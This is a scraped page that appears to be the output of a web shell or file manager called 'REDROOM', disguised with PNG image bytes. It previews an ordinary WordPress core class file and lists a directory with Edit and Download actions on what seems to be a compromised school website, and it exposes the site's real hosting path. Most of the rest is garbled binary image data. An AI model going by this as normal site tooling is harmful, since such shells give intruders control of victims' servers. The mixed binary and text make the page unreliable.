PNG  IHDR  8] PLTE S =tRNS   PNG  IHDR  8] PLTE S =tRNS   REDROOM
PHP 7.4.33
Preview: class-wp-widget-form-customize-control.php Size: 2.58 KB
/home/u451082377/domains/smpspembda2gusit.sch.id/public_html/wp-includes/customize/class-wp-widget-form-customize-control.php

<?php
/**
 * Customize API: WP_Widget_Form_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Form Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'widget_form';

	/**
	 * Widget ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id;

	/**
	 * Widget ID base.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id_base;

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Widget status.
	 *
	 * @since 3.9.0
	 * @var bool True if new, false otherwise. Default false.
	 */
	public $is_new = false;

	/**
	 * Widget width.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $width;

	/**
	 * Widget height.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $height;

	/**
	 * Widget mode.
	 *
	 * @since 3.9.0
	 * @var bool True if wide, false otherwise. Default false.
	 */
	public $is_wide = false;

	/**
	 * Gather control params for exporting to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function to_json() {
		global $wp_registered_widgets;

		parent::to_json();
		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}

		// Get the widget_control and widget_content.
		require_once ABSPATH . 'wp-admin/includes/widgets.php';

		$widget = $wp_registered_widgets[ $this->widget_id ];
		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id'   => $widget['id'],
			'widget_name' => $widget['name'],
		);

		$args                 = wp_list_widget_controls_dynamic_sidebar(
			array(
				0 => $args,
				1 => $widget['params'][0],
			)
		);
		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );

		$this->json['widget_control'] = $widget_control_parts['control'];
		$this->json['widget_content'] = $widget_control_parts['content'];
	}

	/**
	 * Override render_content to be no-op since content is exported via to_json for deferred embedding.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {}

	/**
	 * Whether the current widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @return bool Whether the widget is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
	}
}

Directory Contents

Dirs: 0 × Files: 36

Name Size Perms Modified Actions
1.25 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
639 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.96 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.26 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.99 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.42 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
5.16 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
9.19 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
588 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
7.87 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.74 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.18 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
9.19 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.10 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.08 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
7.97 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
26.92 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.25 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.75 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.10 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
716 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
18.49 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
3.23 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.67 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.65 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
10.32 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
13.43 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.03 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
4.27 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
11.61 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
3.31 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
6.78 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.17 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
686 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.68 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.58 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
 !"#$%&'(()*+,-./00123456789 t\ wIDATx ]ys  47Y ƒ -  "  Rv  < f{Ɛ $k l L > L  ~h^ 1  [  r G t& h  l F z3O Y ! p A(_g̷ E8 )S 8 c  Kb"z ~ 5 J xAL WU <  *  5 m;W a pB h ~P J 2 3 6 ҙ .Ƹ P i  4g F R L P ΪK/D  M v (a3 k J Œ4N5* SH ` SdJ z  O J Xՠ V>u ߱ BE&L b2 ?2` tX+  c CB A$ i b C ĀMB E : /  # Dx &l =q Ty  0 \p I ( L Ǎ { e 4k ;`u^ヲ eP!( d {  )T A 8 O;Ě n >;s6 !  :Nx `[S D HU ~ q›J F} a g*D 49 / pn k h (t 8NxƐF _!r չ7 ZR R׷ q/5") Ӎ NY 0 x sZ!   o  fu  ,  K"$ ? pg  㕣=  1» {h " fh7    y  } € +7  $ y " X —ą - G P u 4 m >J 5 L =V ' ^@I p ?MS xЌ XV P ! h "C NS9B8̢ ]!K  e   zA , ӏkbY  !< XQ ٿyS| *" f { w  4@[S <  # 0 ! js [m  =,~ o "ݎ DHf Wo $ g ! Vԅ t mB /y Wf V4񺍸 c+@x?  B ~u " xUN e 0 BĂ) ~J pz! 7y6]l Ԥ@ P a< O /DHC `≻  N m"$  0ObB }{ x AO FCG D R ^ "B  { WDH  UR l@ T #  +"d T ; 0 i  D}. 7 ` ' ] w rE &S i ƕiTD EL P _ u h $ Ա FG wVD G L R Zf ' .!] J /ZR oGЍs Mr Ĥ ʬ 3 Q [3 cL ` ^ p + ( F;# B 5 '  2Y f [  ϶R0e }  E 7 6M aۮ H <& n % L] E}Up x紉, Uw' Q  Ǯշo k ވۙ 0N94 VX5 xEDE l D #֤ } C o )W :  ^ s 9  bRf iX5u ཱི 4 :[  T 1. | [E 2ؽ Iy\ : o x K G 5 ylP ' uK E ftb/i[3 .g _  [3M n G, #NwQ5~  ؚ) | n =Ц"x qg gB ` 듘 ~ x w ? ? R~  _ u. &VQ K˻   H C ( TN˄+ `C dA nB׭ D 3"Z G ê ^k H_ /- ~ " R_  .8 Z_ 6@ o  xg  uP ? 3լ @7AM!  E7^ - =V L  x  g-D0  CtmW 7  O  G _ WD0 g C  w1 r d w : a | \  *" f nֳ ^ H# f L ` Z ۽hV  }S F r0Ù Bć5r] @! NL iQ]{s^=4 d  WD  "  "   M; t" 8 5 e dL| "-*st" ) SWD ?R[S e ooF  20.D ? bo =) A i o d ģ ZҰaO @E =) i D a &ܟa CϞ y6 ,<%{^x%{f8? `iw^ ?/ M * IEND B`